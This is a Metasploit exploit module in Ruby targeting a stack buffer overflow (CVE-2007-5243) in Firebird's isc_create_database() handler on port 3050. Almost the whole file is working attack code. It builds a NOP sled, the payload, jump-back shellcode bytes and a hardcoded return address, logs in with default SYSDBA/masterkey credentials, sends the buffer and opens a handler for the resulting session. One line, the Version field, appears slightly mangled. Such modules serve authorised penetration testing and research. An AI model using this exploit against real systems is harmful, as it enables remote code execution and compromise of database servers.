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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::BruteTargets
def initialize(info = {})
super(update_info(info,
'Name' => 'Firebird Relational Database isc_create_database() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland InterBase
by sending a specially crafted create request.
},
'Version' => '$Revision
,
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38606' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Brute Force', { } ],
# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
[
'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
],
# Debug
[
'Debug',
{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
],
],
'DefaultTarget' => 1
))
register_options(
[
Opt::RPORT(3050)
],
self.class
)
end
# Create database parameter block
def dpb_create
isc_dpb_user_name = 28
isc_dpb_password = 29
isc_dpb_version1 = 1
user = 'SYSDBA'
pass = 'masterkey'
dpb = ''
dpb << [isc_dpb_version1].pack('c')
dpb << [isc_dpb_user_name].pack('c')
dpb << [user.length].pack('c')
dpb << user
dpb << [isc_dpb_password].pack('c')
dpb << [pass.length].pack('c')
dpb << pass
dpb
end
# Calculate buffer padding
def buf_padding(length = '')
remainder = length.remainder(4)
padding = 0
if remainder > 0
padding = (4 - remainder)
end
padding
end
def exploit_target(target)
target['Length'].each do |length|
connect
# Create database
op_create = 20
# Extra padding to trigger the exception
extra_padding = 1024 * 16
buf = ''
# Operation/packet type
buf << [op_create].pack('N')
# Id
buf << [0].pack('N')
# Length
buf << [length + extra_padding].pack('N')
# Nop block
buf << make_nops(length - payload.encoded.length - 13)
# Payload
buf << payload.encoded
# Jump back into the nop block
buf << "\xe9" + [-516].pack('V')
# Jump back
buf << "\xeb" + [-7].pack('c')
# Random alpha data
buf << rand_text_alpha(2)
# Target
buf << [target.ret].pack('V')
# Random alpha data
buf << rand_text_alpha(extra_padding)
# Padding
buf << "\x00" * buf_padding(length + extra_padding)
# Database parameter block
# Create database parameter block
dpb = dpb_create
# Database parameter block length
buf << [dpb.length].pack('N')
# Database parameter block
buf << dpb
# Padding
buf << "\x00" * buf_padding(dpb.length)
sock.put(buf)
sleep(4)
handler
end
end
end
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